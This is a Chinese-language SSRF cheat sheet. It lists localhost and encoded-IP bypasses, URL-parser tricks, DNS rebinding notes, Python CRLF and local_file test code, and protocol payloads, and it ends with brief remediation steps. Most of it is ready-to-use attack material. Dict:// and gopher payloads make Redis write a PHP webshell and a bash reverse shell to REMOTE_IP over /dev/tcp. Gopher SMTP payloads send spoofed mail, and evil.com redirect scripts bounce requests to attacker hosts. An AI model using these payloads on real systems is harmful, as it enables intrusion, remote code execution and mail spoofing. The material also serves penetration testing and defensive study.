ssrf cheatsheet

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成,由服务端发起请求的一个安全漏洞。SSRF是笔者比较喜欢的一个漏洞,因为它见证了攻防两端的对抗过程。本篇文章详细介绍了SSRF的原理,在不同语言中的危害及利用方式,常见的绕过手段,新的攻击手法以及修复方案。

#SSRF 基础

#Payload with localhost

http://127.0.0.1:80
http://localhost:80
http://0.0.0.0:80

本地跳转

http://customer1.app.localhost.my.company.127.0.0.1.nip.io

nip.io能够根据以下规则自定义跳转

 <anything>.<IP Address>.nip.io => IP Address
 如 127.0.0.1.nip.io => 127.0.0.1

Bypass localhost

使用 [::]

http://[::]:80/
http://0000::1:80/
http://[0:0:0:0:0:ffff:127.0.0.1]

#Bypass 使用不常见的地址

内网IP段
127.0.0.0/8127.0.0.0 ~ 127.255.255.255
192.168.0.0 /16192.168.0.0 ~ 192.168.255.255
10.0.0.0/810.0.0.0 ~ 10.255.255.255
172.16.0.0/12172.16.0.0 ~ 172.31.255.255
http://0/
http://127.1
http://127.0.1

#十进制IP bypass

http://0177.0.0.1/
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
http://2852039166/  = http://169.254.169.254

#URL解析绕过

来自orange在blakhat大会的 A-New-Era-Of-SSRF-Exploiting 提出利用语言自身解析函数差异来绕过检测。

http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/

Refer: https://security.tencent.com/index.php/blog/msg/179

#DNS Rebinding

#DNS Rebinding

时间差对应DNS中的机制TTL,TTL表示DNS里面域名和IP绑定关系的Cache在DNS上存活的最长时间。当我们控制DNS的TTL时,可绕过限制。

Java

java中DNS请求成功的话默认缓存30s(字段为networkaddress.cache.ttl,默认情况下没有设置),失败的默认缓存10s。(缓存时间在 /Library/Java/JavaVirtualMachines/jdk /Contents/Home/jre/lib/security/java.security 中配置)

PHP

在php中则默认没有缓存。

System

Linux默认不会进行DNS缓存,mac和windows会缓存(所以复现的时候不要在mac、windows上尝试)

Other

有些公共DNS服务器,比如114.114.114.114还是会把记录进行缓存,但是8.8.8.8是严格按照DNS协议去管理缓存的,如果设置TTL为0,则不会进行缓存。

#SSRF in Language

#SSRF in Python

在Python中,常用的函数有urllib(urllib2)和requests库。以urllib(urllib2)为例, urllib并不支持gopher,dict协议,所以按照常理来讲ssrf在python中的危害也应该不大,但是当SSRF遇到CRLF,奇妙的事情就发生了。

CVE影响范围
CVE-2019-9740 (urllib/urllib2 CRLF)urllib2 in Python 2.x through 2.7.16
urllib in Python 3.x through 3.7.3
CVE-2019-9947 (urllib/urllib2 CRLF)urllib2 in Python 2.x through 2.7.16
urllib in Python 3.x through 3.7.3

测试代码

import sys
import urllib2
host = "127.0.0.1:7777?a=1 HTTP/1.1\r\nCRLF-injection: test\r\nTEST: 123"
# host = "127.0.0.1:6379\r\nSET hacker 1111\r\n" # for redis
url = "http://"+ host + ":8080/test/?test=a"
try:
  info = urllib2.urlopen(url).info()
  print(info)
except Exception as e:
print(e)

CVE-2019-9948

除开CRLF之外,urllib还有一个鲜有人知的漏洞CVE-2019-9948,该漏洞只影响urllib,范围在Python 2.x到2.7.16,这个版本间的urllib支持local_file/local-file协议,可以读取任意文件,如果file协议被禁止后,不妨试试这个协议来读取文件。

import urllib
host = "local_file:///etc/passwd"
info = urllib.urlopen(host).read()
print(info)

#SSRF in PHP

在PHP中,经常出现SSRF的函数有cURLfile_get_contents等。

cURLhttp、https、ftp、gopher、telnet、dict、file、ldap

需要注意

  • file_get_contents的gopher协议不能 UrlEncode
  • file_get_contents关于Gopher的302跳转有bug,导致利用失败
  • curl/libcurl 7.43上gopher协议存在bug(截断),7.45以上无此bug
  • curl_exec()默认不跟踪跳转
  • file_get_contents() 支持php://input协议

#SSRF in JAVA

相对于php,在java中SSRF的利用局限较大,一般利用http协议来探测端口,利用file协议读取任意文件。

常见的类中如HttpURLConnectionURLConnectionHttpClients中只支持sun.net.www.protocol (java 1.8)里的所有协议http,https,file,ftp,mailto,jar,netdoc。
但这里需要注意一个漏洞,那就是weblogic的ssrf,这个ssrf是可以攻击可利用的redis拿shell的weblogic并没有采用常见的网络库,而是自己实现了一套socket方法,将用户传入的url直接带入到socket接口,没有校验url中的CRLF。

#SSRF 新型攻击手法 - When TLS Hacks You

#SSRF 新型攻击手法 - When TLS Hacks You

#SSRF url协议利用

#常见协议

常见如http的协议:Elastic, CouchDB, Mongodb, Docker 基于文本的协议:FTP, SMTP, Redis, Memcached

#File

file:///etc/passwd
file://\/\/etc/passwd

#dict

dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>

# Getting a webshell
url=dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
url=dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php
url=dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>"
url=dict://127.0.0.1:6379/SAVE

#LDAP

ldap://localhost:11211/%0astats%0aquit

#Gopher

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AH

You didn't say the magic word !


.
QUIT


# Getting a PHP reverse shell
gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml
gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php
gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22
gopher://127.0.0.1:6379/_save

Gopher HTTP

gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body

Gopher SMTP - Back connect to 1337

Content of evil.com/redirect.php:
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>

Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher SMTP - send a mail

Content of evil.com/redirect.php:
<?php
        $commands = array(
                'HELO victim.com',
                'MAIL FROM: <admin@victim.com>',
                'RCPT To: <sxcurity@oou.us>',
                'DATA',
                'Subject: @sxcurity!',
                'Corben was here, woot woot!',
                '.'
        );

        $payload = implode('%0A', $commands);

        header('Location: gopher://0:25/_'.$payload);
?>

#SSRF修复

#SSRF修复

SSRF的修复比较复杂,需要根据业务实际场景来采取不同的方案,例如前面说到的python中不同url库对url的解析就不一致,所以对于有条件的公司,建立一个代理集群是比较可靠的方案,将类似请求外部url的需求整理出来,分为纯外网集群和内网集群进行代理请求。 如果需要从代码层面来修复的话,需要注意一下几点:

  1. 去除url中的特殊字符 (为了防止利用url parse的特性造成url解析差异)
  2. 判断是否属于内网ip
  3. 如果是域名的话,将url中的域名改为ip (防止dns rebinding)
  4. 请求的url为3中返回的url
  5. 请求时设置host header为ip (防止以ip请求时,某些网站无法访问)
  6. 不跟随30x跳转(跟随跳转需要从1开始重新检测,防止30x跳转进行绕过)